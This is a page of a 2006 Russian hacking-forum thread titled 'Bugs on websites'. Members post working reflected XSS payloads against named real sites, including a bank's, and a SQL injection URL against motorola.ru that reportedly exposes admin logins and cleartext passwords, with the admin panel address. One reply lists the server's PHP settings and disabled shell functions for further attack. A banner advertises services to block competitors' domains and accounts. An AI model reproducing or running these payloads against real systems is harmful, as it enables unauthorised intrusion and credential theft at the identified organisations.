Баги на сайтах.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Баги на сайтах.

Страница 29 из 30

« Первая

Опции темы

Поиск в этой теме

Опции просмотра

#281

25.06.2006, 13:38

Dracula4ever

Постоянный

Регистрация: 08.05.2006

Сообщений: 559

С нами: 10531106

Репутация: 354

На таком знаменитом сайте такие знаменитые баги :-)

_http://rusdoc.kulichki.ru/public/search.shtml?searWords="><script>alert()</script>

#282

25.06.2006, 17:41

Dracula4ever

Постоянный

Регистрация: 08.05.2006

Сообщений: 559

С нами: 10531106

Репутация: 354

Мне очень понравился этот баг:
_http://www.sprandi.ru/search?q="><script>alert()</script>

XSS Rulezzz!!!

#283

25.06.2006, 17:52

Micr0b

Участник форума

Регистрация: 14.01.2006

Сообщений: 242

С нами: 10695206

Репутация: 245

http://www.rupoisk.ru/index.php?search_string=%27%3E%3Cscript%3Ealert%28 %29%3C%2Fscript%3E

#284

25.06.2006, 17:59

Dracula4ever

Постоянный

Регистрация: 08.05.2006

Сообщений: 559

С нами: 10531106

Репутация: 354

_http://www.mediexpo.ru/search/?q="><script>alert()</script>

#285

26.06.2006, 12:57

Dracula4ever

Постоянный

Регистрация: 08.05.2006

Сообщений: 559

С нами: 10531106

Репутация: 354

_http://magnolia-tv.com/search/?target=news&search="><script>alert()</script>

#286

26.06.2006, 16:21

Dracula4ever

Постоянный

Регистрация: 08.05.2006

Сообщений: 559

С нами: 10531106

Репутация: 354

Цитата:

Сообщение от grinay

Непонимаю какой смысл т хсс вас это что радует если вы увидете алерТ?
Да блять напишите программу <script>
while(1){
alert('Нажимаю ок пока не заипет');
}</script>
И фтыкайте пока не забудете что такое хсс.
Какой смысл от этой безталковой уязвимости постить всякую хрень на форуме набирая посты..Заипало.
Не обращайте внимания у меня дипресняк..

На:
_http://ncagip.ru/search?needle="><script>while(1){alert();}</script>

#287

26.06.2006, 22:20

Dracula4ever

Постоянный

Регистрация: 08.05.2006

Сообщений: 559

С нами: 10531106

Репутация: 354

Цитата:

Сообщение от grinay

Ну давай стырь мои куки попробуй..

зачем?

_http://www.volgatelecom.kirov.ru/search/?q="><script>while(1){alert();}</script>

#288

26.06.2006, 23:05

fjuDao

Новичок

Регистрация: 27.05.2006

Сообщений: 3

С нами: 10503369

Репутация: 15

Motorola RU - неожидал

_http://www.motorola.ru/pcomm.php?id=33&action=hole&newsid=3122666+UNION+S ELECT+0,0,0,name,password,0,0,0,0,0,0,0,0,0,0+FROM +users/*

логин и пароль(в чистом виде) к админке:

_http://www.motorola.ru/admin/

#289

26.06.2006, 23:20

Rebz

Флудер

Регистрация: 08.11.2004

Сообщений: 3,395

С нами: 11317286

Репутация: 3876

да, но:
safe_mode: ON PHP version: 4.3.11 cURL: OFF MySQL: ON MSSQL: OFF PostgreSQL: OFF Oracle: OFF
Disable functions : dl, shell_exec, exec, system, passthru, popen, proc_open, proc_nice, proc_get_status, proc_close, proc_terminate, posix_mkfifo, set_time_limit

#290

27.06.2006, 10:31

Dracula4ever

Постоянный

Регистрация: 08.05.2006

Сообщений: 559

С нами: 10531106

Репутация: 354

_http://www.priorbank.by/r/?item=270&...ert()</script>

Страница 29 из 30

« Первая

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Sql Injections на сайтах Укртелекома	Nova	Уязвимости	9	23.03.2006 00:35
"Яндекс" будет показывать контекстную рекламу на обычных сайтах	dinar_007	Мировые новости. Обсуждения.	0	23.12.2005 16:22
Xss баги на забугорных сайтах...	x-ultra-x	Уязвимости	7	07.10.2005 17:22

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход